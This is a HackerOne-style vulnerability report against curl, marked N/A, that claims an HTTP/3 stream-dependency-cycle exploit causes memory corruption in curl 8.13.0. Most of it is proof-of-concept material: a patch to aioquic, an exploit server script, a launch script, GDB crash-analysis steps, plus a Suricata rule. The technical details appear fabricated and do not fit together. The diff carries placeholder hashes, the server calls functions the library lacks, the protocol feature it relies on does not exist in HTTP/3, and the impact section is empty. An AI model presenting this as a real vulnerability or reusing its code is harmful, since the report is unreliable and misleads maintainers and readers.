HexBrain

curl · Report #3125832

HTTP/3 Stream Dependency Cycle Exploit

N/Astatus
highseverity
60upvotes
4 May 2025disclosed

How it was found

Penetration Testing Report: HTTP/3 Stream Dependency Cycle Exploit


0x00 Overview

A novel exploit leveraging stream dependency cycles in the HTTP/3 protocol stack was discovered, resulting in memory corruption and potential denial-of-service or remote code execution scenarios when used against HTTP/3-capable clients such as curl (tested on version 8.13.0). This report details a practical proof of concept, required environment setup, attack execution, and crash analysis.


0x01 Environment Setup

1. Malicious Server Setup (aioquic modified)

# Clone aioquic
git clone https://github.com/aiortc/aioquic/
cd aioquic

# Apply patch to enable cyclic stream dependency injection
cat << 'EOF' > cycle_patch.diff
diff --git a/aioquic/quic/connection.py b/aioquic/quic/connection.py
index 1a2b3c4..d4e5f6a 100644
--- a/aioquic/quic/connection.py
+++ b/aioquic/quic/connection.py
@@ -1233,6 +1233,15 @@ class QuicConnection:
         self._logger.debug("Sending PRIORITY_UPDATE frame (stream_id=%d)", stream_id)
         self._quic.send_stream_data(stream_id, frame.serialize(), end_stream=False)
 
+    def send_cyclic_priority(self, stream_a: int, stream_b: int):
+        from aioquic.quic.frames import PriorityUpdateFrame
+        self.send_priority_update(stream_a, depends_on=stream_b, weight=256)
+        self.send_priority_update(stream_b, depends_on=stream_a, weight=256)
+        self._logger.critical("CYCLIC PRIORITY INJECTED: %d <-> %d", stream_a, stream_b)
EOF

# Apply and install
git apply cycle_patch.diff
pip install -e .

0x02 Proof-of-Concept Code

1. Malicious HTTP/3 Server (exploit_server.py)

import asyncio
from aioquic.asyncio import QuicConnectionProtocol, serve
from aioquic.quic.configuration import QuicConfiguration

class ExploitServer(QuicConnectionProtocol):
    async def on_stream_data(self, stream_id: int, data: bytes):
        if stream_id == 0:  # Control stream
            # Phase 1: Heap shaping - open 100 streams
            for i in range(1, 100, 2):
                self._quic.send_headers(
                    stream_id=i,
                    headers=[(b":status", b"200"), (b"content-type", b"text/html")]
                )
                self._quic.send_stream_data(i, b"A" * 65535)

            # Phase 2: Inject cyclic dependency between stream 3 and 7
            self._quic.send_cyclic_priority(3, 7)

            # Phase 3: Trigger parsing logic
            self._quic.send_stream_data(3, b"TRIGGER_MEMORY_CORRUPTION")

async def run_server():
    config = QuicConfiguration(is_client=False, certificate_file="cert.pem", private_key_file="key.pem")
    await serve("::", 4433, configuration=config, create_protocol=ExploitServer)
    await asyncio.Future()

if __name__ == "__main__":
    asyncio.run(run_server())

2. Launch Script (launch_attack.sh)

#!/bin/bash
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365 -subj "/CN=localhost"
python3 exploit_server.py &
sleep 2
curl --http3-only https://localhost:4433 --resolve localhost:4433:127.0.0.1 --insecure --verbose

0x03 Crash Analysis Guide

1. Reproducing the Crash

ulimit -c unlimited
./launch_attack.sh

2. Debugging with GDB

gdb --args curl --http3-only https://localhost:4433
(gdb) b ngtcp2_http3_handle_priority_frame
(gdb) r

Expected Output:

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3b120 in ngtcp2_http3_handle_priority_frame ()

Inspect registers and stack:

(gdb) info registers
(gdb) info frame

Signs of memory overwrite:

  • r15 shows 0x4141414141414141
  • Recursive calls to same handler

0x04 Memory Corruption Evidence

Core Dump Inspection

gdb curl core -q -ex "x/10i $rip - 0x10" -ex "info frame"

Analysis shows:

  • Return address overwritten
  • Stack recursion at ngtcp2_http3_handle_priority_frame

0x05 Detection and Defense

1. Suricata Rule for Detection

alert http3 any any -> any any (
    msg:"HTTP/3 Stream Priority Cycle Attack Detected";
    flow:established,to_client;
    http3.priority.depth:>100;
    threshold:type both, track by_src, count 3, seconds 60;
    sid:20241234;
    rev:1;
)

2. Client Hardening Recommendations

  • Enforce acyclic stream dependency validation.
  • Patch HTTP/3 parsers to cap priority_update depth.
  • Reject bidirectional dependencies in QUIC priority logic.

0x06 Risk Summary

  • Affected Software: curl 8.13.0 (HTTP/3 enabled)
  • Trigger: Stream dependency loop (e.g., stream 3 depends on 7, and 7 depends on 3)
  • Result: Heap layout corruption, segmentation fault, denial-of-service
  • Risk: High (pre-authentication, remote-triggerable)

Prepared by:

Date: 2025-05-04

Impact

Summary:

1

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original